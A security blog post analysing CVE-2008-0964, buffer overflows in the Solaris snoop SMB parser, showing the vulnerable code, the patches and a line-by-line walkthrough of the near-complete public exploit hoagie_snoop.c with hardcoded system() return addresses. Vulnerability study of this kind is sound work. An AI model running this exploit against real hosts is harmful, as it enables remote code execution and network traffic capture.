xorl %eax, %eax

CVE-2008-0964: Solaris snoop(1M) Multiple Remote Buffer Overflows

with 4 comments

On August 2008 Sun Microsystems disclosed some vulnerabilities on snoop(1M) utility that are remotely exploitable. Those vulnerabilities were sold to iDefense by Gael Delalleau and according to their brief description we can learn the following regarding its exploitation:

Exploitation of these vulnerabilities results in the execution 
of arbitrary code with the privileges of the nobody user. 
In addition, the attacker has access to the raw socket used by 
the snoop program. This allows them to capture any traffic visible 
to the network interface used. 

The bugs are really easy to spot by having a quick look at src/cmd/cmd-inet/usr.sbin/snoop/snoop_smb.c which is the SMB parsing code for snoop(1M) utility. Here is an example of such buffer overflow…

/*
 * Interpret a "Negprot" SMB
 * [X/Open-SMB, Sec. 6.1]
 */
/* ARGSUSED */
static void
interpret_negprot(int flags, uchar_t *data, int len, char *xtra)
{
	int length;
	int bytecount;
	char dialect[256];
       ...
	protodata = (uchar_t *)data + sizeof (struct smb);
	protodata++;			/* skip wordcount */

	if (smbdata->flags & SERVER_RESPONSE) {
       ...
	} else {
		/*
		 * request packet:
		 * short bytecount;
		 * struct { char fmt; char name[]; } dialects
		 */
		bytecount = get2(protodata);
		protodata += 2;
		if (flags & F_SUM) {
			while (bytecount > 1) {
				length = sprintf(dialect, (char *)protodata+1);
				protodata += (length+2);
				bytecount -= (length+2);
			}
       ...

As you can read, ‘protodata’ is a pointer directly to the received SMB packet. For completeness, here are the additional information required to understand the above code.

/*
 * SMB Format (header)
 * [X/Open-SMB, Sec. 5.1]
 */
struct smb {
	uchar_t idf[4]; /*  identifier, contains 0xff, 'SMB'  */
 	uchar_t com;    /*  command code  */
 	uchar_t rcls;   /*  error class  */
 	uchar_t res;
 	uchar_t err[2]; /*  error code  */
 	uchar_t flags;
 	uchar_t flags2[2];
 	uchar_t re[12];
 	uchar_t tid[2];
 	uchar_t pid[2];
 	uchar_t uid[2];
 	uchar_t mid[2];
	/*
 	 * immediately after the above 32 byte header:
 	 *   unsigned char  WordCount;
 	 *   unsigned short ParameterWords[ WordCount ];
 	 *   unsigned short ByteCount;
 	 *   unsigned char  ParameterBytes[ ByteCount ];
 	 */
};
 
/* smb flags */
#define	SERVER_RESPONSE	0x80
     ...
/* Helpers to get short and int values in Intel order. */
static ushort_t
get2(uchar_t *p) {
	return (p[0] + (p[1]<<8));
}

Now if we move back to interpret_negprot() we’ll see that if this SMB packet is not a server response, it will fall to the ‘else’ clause which will initially use get2() to parse this as a request (since it’s not a response) SMB packet. The comment let us know that a request is composed of two members, a signed short that contains the Bytes count and a structure that has a format and a name.
The code continues by incrementing ‘protodata’ to reach the structure and then it enters a ‘while’ loop for the specified bytes if ‘F_SUM’ (which stands for ‘display summary line’) flag is specified. If this is the case, it will attempt to copy the user controlled SMB name to the stack allocated ‘dialect’ buffer which has size of 256 bytes using sprintf(3)!
Obviously, a user can send a request with a name larger than 256 bytes and thus overflow the ‘dialect’ buffer and execute arbitrary code in the context of snoop(1M).
Of course, this was patched by replacing the sprintf(3) call with snprintf(3) that performs bound checks given a correct size limit. Here is the patch for the above bug…

			while (bytecount > 1) {
-				length = sprintf(dialect, (char *)protodata+1);
+				length = snprintf(dialect, sizeof (dialect),
+				    "%s", (char *)protodata+1);
				protodata += (length+2);
+				if (protodata >= data+len)
+					break;
				bytecount -= (length+2);
			}

So, the patch is quite simple but you’ll probably wonder where are the “multiple” memory corruption vulnerabilities, ok… Let’s start..
In interpret_trans() there is another buffer overflow in case of a request with “display detail lines” flag enabled (this is the F_DTAIL one) that doesn’t use Unicode. Here is this one:

/*
 * Interpret a "trans" SMB
 * [X/Open-SMB, Appendix B]
 *
 * This is very much like "trans2" below.
 */
/* ARGSUSED */
static void
interpret_trans(int flags, uchar_t *data, int len, char *xtra)
{
      ...
	char filename[256];
      ...
	if (flags & F_DTAIL && !(smb->flags & SERVER_RESPONSE)) {
		/* This is a CALL. */
      ...
		/* Finally, print the byte parameters. */
		if (isunicode) {
      ...
		} else {
			strcpy(filename, (char *)byteparms);
		}

Yes, this is an strcpy(3) stack overflow (what year did this bug discovered?). Obviously, this one was patched like this:

		} else {
-			strcpy(filename, (char *)byteparms);
+			strlcpy(filename, (char *)byteparms, sizeof (filename));
		}

The next two overflows are part of interpret_tconX() routine which you can see below:

/*
 * Interpret a "TconX" SMB
 * [X/Open-SMB, Sec. 11.4]
 */
/* ARGSUSED */
static void
interpret_tconX(int flags, uchar_t *data, int len, char *xtra)
{
      ...
	char tempstring[256];
      ...
	if (flags & F_SUM && !(smbdata->flags & SERVER_RESPONSE)) {
		tcondata += 6;
		passwordlength = get2(tcondata);
		tcondata = tcondata + 4 + passwordlength;
		length = sprintf(tempstring, (char *)tcondata);
		sprintf(xtra, "Share=%s ", tempstring);
	}

	if (flags & F_SUM && smbdata->flags & SERVER_RESPONSE) {
		tcondata += 8;
		length = sprintf(tempstring, (char *)tcondata);
		sprintf(xtra, "Type=%s ", tempstring);
	}

This time the only limitation is that it should be a request with summary flag on. The patch as you might have been expecting is…

		tcondata = tcondata + 4 + passwordlength;
-		length = sprintf(tempstring, (char *)tcondata);
+		length = snprintf(tempstring, sizeof (tempstring), "%s",
+		    (char *)tcondata);
		sprintf(xtra, "Share=%s ", tempstring);
	}

	if (flags & F_SUM && smbdata->flags & SERVER_RESPONSE) {
		tcondata += 8;
-		length = sprintf(tempstring, (char *)tcondata);
+		length = snprintf(tempstring, sizeof (tempstring), "%s",
+		    (char *)tcondata);
		sprintf(xtra, "Type=%s ", tempstring);
	}

So, are there more of these? Yes! interpret_tconX() has four more sprintf(3) overflows, interpret_sesssetupX() has eight and even interpret_default() has one while parsing the ‘s’ or ‘S’ values!
There is a public exploit (hoagie_snoop.c) for this by andi of VOID.AT Security which is available here. Let’s have a quick look at it…

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>

#define MAX_PACKET		4096
#define SMB_COMMAND_TRIGGER	0x72
#define SMB_PORT_DEFAULT	445
#define SMB_TARGET_DEFAULT	"127.0.0.1"
#define	SMB_HEADER_FILLER	0x20

struct target_t {
   char *description;
   int  address;
} targets [] = {
   {
      /* -r-xr-xr-x 1 root bin 580460 2008-04-27 03:51 /usr/sbin/snoop */
      "SunOS 5.11 snv_86 i86pc i386",
      /* system() address */
      0xd2adc2a0
   },

   {
      /* -r-xr-xr-x   1 root     bin       529956 Nov 13  2006 /usr/sbin/snoop */
      "SunOS 5.10 Generic_118833-33 sun4u sparc",
      /* system() address */
      0xff1a7c00
   },

   {
      NULL,
      0,
   }
};

From this we can easily deduce that the exploit will use either of these structures depending on the target machine. Unfortunately, on a system with randomization this method won’t work since system(3)’s address could change. In any case, let’s move on to the usage() function…

/* usage
 * display help screen
 */
void usage(int argc, char **argv) {
   int i;

   printf("usage: %s [-i <id>] [-t <host>] [-c <command>]\n"
          "\n"
	  "-i        id for target\n"
          "-t        host running snoop\n"
	  "-c        command to execute\n"
          "\n\n"
	  "available ids:\n"
          ,
          argv[0]);
   for (i = 0; targets[i].description != NULL; i++) {
      printf("%2d : %s\n", i, targets[i].description);
   }
   exit(1);           
}

So, let’s now have a look at probably the most interesting routine, send_smb_packet()…

/* create_smb_packet
 */
void send_smb_packet(int s,
                     struct sockaddr_in *sin,
                     char smbcommand,
		     char *content) {

   char *packet = (char*)malloc(MAX_PACKET);
   int length = 0;
   struct tcphdr *tcp;
   char *data;
   int r;

   if (packet) {

It allocates 4KB for the packet and the construction begins…

      memset(packet, 0, MAX_PACKET);

      tcp = (struct tcphdr*)packet;
      tcp->source = sin->sin_port;
      tcp->dest = sin->sin_port;
      tcp->doff = sizeof(struct tcphdr) / 4;
      tcp->ack = 1;
      tcp->psh = 1;
      tcp->window = htons(32768);

      data = packet + sizeof(struct tcphdr);

      length = 4;

After clearing the buffer by zeroing it out, it initializes the TCP header using the information passed to it through its arguments, sets ‘data’ to point to the ‘packet’ after the TCP header and initializes ‘length’ to 4 since this is the location where the size of the SMB packet’s data should be, it will be filled at the end. Next, the code goes like this:

      strcpy(data + length, "\xffSMB");
      length += 4;

      /* smb command */
      data[length++] = smbcommand;

The “\xffSMB” is used as an identifier that must start with 0xff and contain the ASCII characters SMB, the length is also incremented by four to move to the next segment of the packet. The next part of the packet will contain whatever SMB command code you want and it continues like this:

      /* status */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

As we saw in the SMB header structure, the packet should now contain: error class (1 Byte), result value (1 Byte) and error code (2 Bytes). Since those are useless for our purpose, they’re all filled with ‘SMB_HEADER_FILLER’ which is 0x20. The next part of the header is 1 Byte for flags and another two flags 2…

      /* flags */
      data[length++] = 0x18;

      /* flags2 */
      data[length++] = 0x80;
      data[length++] = 0x01;

The first one is filled with 0x18 (which will return true when masked with either F_DTAIL that is 0x8 as well as F_TIME) and the flags2 with 0x80 which matches with F_DROPS (display drops) and 0x01 which is F_NOW (display in realtime). The next members of the SMB header are:
– 12 Bytes for re[] array

      /* extra field */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

- 2 Bytes for the thread ID

      /* tid */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

- 2 Bytes for the process ID

      /* client process id */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

- 2 Bytes for the user ID

      /* uid */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

- 2 Bytes for the message ID

      /* mid */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

And after the SMB header, the ‘dialect’ structure will be placed since this is a request…

      /* word count */
      data[length++] = SMB_HEADER_FILLER;

      /* byte count */
      data[length++] = strlen(content) & 0xff;
      data[length++] = (strlen(content) >> 8) & 0xff;

      data[length++] = 0x02;

The last assignment is for the ‘format’ member of the ‘dialect’ structure and after this point, the malicious string will be copied in the ‘name[]’ array’s position which is the exact next one like this:

      if (content) {
         /* content */
         strcpy(data + length, content);
         length += strlen(content);
      }
      data[length++] = 0x00;

The content which is the string that will overflow ‘dialect’ buffer is copied in the packet and NULL termination takes place. Now, the author updates the length bytes that were omitted during the first steps that should normally contain the total size of the data section like this:

      /* set length for smb data */
      data[3] = (length - 4) & 0xff;
      data[2] = ((length - 4) >> 8) & 0xff;

This routine ends by sending the malicious packet using sendto(2) system call…

      /* send packet */
      r = sendto(s, packet, sizeof(struct tcphdr) + length, 0,
                 (struct sockaddr*)sin, sizeof(struct sockaddr_in));
   }

}

The only function left to see is main() which is quite simple, let’s have a look at this one too…

/* main entry
 */
int main(int argc, char **argv) {
   char c;
   char *target = SMB_TARGET_DEFAULT;
   int port = SMB_PORT_DEFAULT;
   int s = 0;
   struct sockaddr_in sin;
   int i = 0;
   char buffer[1024];
   int idx = 0;
   char *command = NULL;

   printf("hoagie_snoop.c - solaris snoop remote\n"
          "-andi / void.at\n\n");

Not really interesting apart from the default target which is 127.0.0.1 :P
Anyway, let’s move on…

   if (argc < 2) {
      usage(argc, argv);
   } else {
      while ((c = getopt (argc, argv, "hvt:p:r:i:c:")) != EOF) {
         switch (c) {
            case 't':
                 target = optarg;
                 break;
            case 'p':
                 port = atoi(optarg);
                 break;
            case 'i':
                 idx = atoi(optarg);
                 break;
            case 'c':
	         command = optarg;
		 break;
            default:
                 printf("[*] unknown command line option '%c'\n", c);
                 exit(-1);
         }
      }
   }

Arguments’ parsing using getopt(3), I don’t think that this requires any explanation so I’m moving on to the next snippet

   s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
   if (s == -1) {
      printf("[*] failed to create raw socket\n");
   } else {
      sin.sin_family = AF_INET;
      sin.sin_port = htons(port);
      sin.sin_addr.s_addr = inet_addr(target);
   
      if (!command) {
         command = "uname -a > /tmp/.patch.your.system.txt";
      }
   
      printf("[*] attacking '%s' on '%s' ...\n", targets[idx].description, target);

Here he creates a raw socket and initializes its socket structure with the appropriate data, also if no command is set by the user the author uses a “uname -a” as the default which is redirected to a file in /tmp/ directory. Next…

      snprintf(buffer, sizeof(buffer), ";%s;", command);
    
      /* char dialect[256] */
      for (i = strlen(buffer); i < 256; i++) { buffer[i] = SMB_HEADER_FILLER; }

Puts the command to the ‘buffer’ array using snprintf(3) and then enters a ‘for’ loop to fill the next 256 Bytes of ‘dialect’ array with dummy bytes. The next operations are also straightforward…

      /* int bytecount */
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;

These are four bytes to overwrite ‘bytecount’ that lies after the overflowed buffer, and then..

      /* int length */
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;

Another four bytes for ‘length’ integer which is also after the buffer (remember, we have to reach the stored EIP), so the story goes on like this…

      /* dummy address */
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;

And finally, after the dummy bytes that GCC places for alignment we have this:

      /* framepointer / ebp */
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;

Yeap, we’ve reached the stored frame pointer! Guess what’s next…

      /* return address */
      buffer[i++] = targets[idx].address & 0xff;
      buffer[i++] = (targets[idx].address >> 8) & 0xff;
      buffer[i++] = (targets[idx].address >> 16) & 0xff;
      buffer[i++] = (targets[idx].address >> 24) & 0xff;

Here the author places the hardcoded address of system(3) as the return address. By doing so, system(3) will attempt to execute whatever it finds in the stack before it. In our case this is a bunch of space ASCII characters (0x20 in hex.) followed by a ‘;’ character and the command you selected. The rest of the code is probably what you’ve been expecting…

      printf("[*] execute '%s' now ...\n", command);
   
      send_smb_packet(s, &sin, SMB_COMMAND_TRIGGER, buffer);
   
      printf("[*] done\n");
      	  
      close(s);
   }

   return 0;
}

The SMB command code passed to send_smb_packet() is 0x72 which in other words means ‘SMBnegprot’. This exploits the first bug discussed in this post inside interpret_negprot().

About these ads

Written by xorl

January 3, 2010 at 17:15

Posted in bugs, solaris

4 Responses

Subscribe to comments with RSS.

  1. The Solaris snoop utility is interesting in that it allocates heap buffers using two guard pages surrounding each buffer. It handles SIGSEGV, so hitting these guard pages doesn’t kill the program. Truly a vuln dev dream come true :)

    jduck

    January 3, 2010 at 20:47

  2. xorl,

    Great post, and blog. I enjoy reading it very much. I’m curious, how do you go about finding and deciding on what bugs to review and write on? I always assumed you were just subscribed to all of the major vendors or bug lists, and then picked one out of a hat, but maybe it’s not as random as all of that? Perhaps that would be an interesting blog post. At some point, I’d like to start doing reviews like this on my own to educate myself, I think your experience would be useful.

    Thanks for the great posts, keep ‘em coming!

    –Mike

    mmishou

    January 6, 2010 at 13:37

  3. Hey,
    I don’t have any strategy in particular, usually when a new bug is being released, I’m having a quick look at it and if I think it’s interesting, I’m blogging about it.
    However, from time to time I’m looking on some old bugs and/or exploits for different purposes. For example, I’m writing a similar exploit or I’ve found a similar bug. If the old bug/exploit that I’m looking at is really useful, I’ll blog about it too. :)
    As you can see, there is no strict plan behind the selection.

    Regarding the mailing lists, this is not true. I’ve subscribed on a few like oss-security, bugtraq, lkml etc. but those are less than 10 or so.

    xorl

    January 6, 2010 at 14:01

  4. Thanks for the reply!

    mmishou

    January 7, 2010 at 12:51


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 63 other followers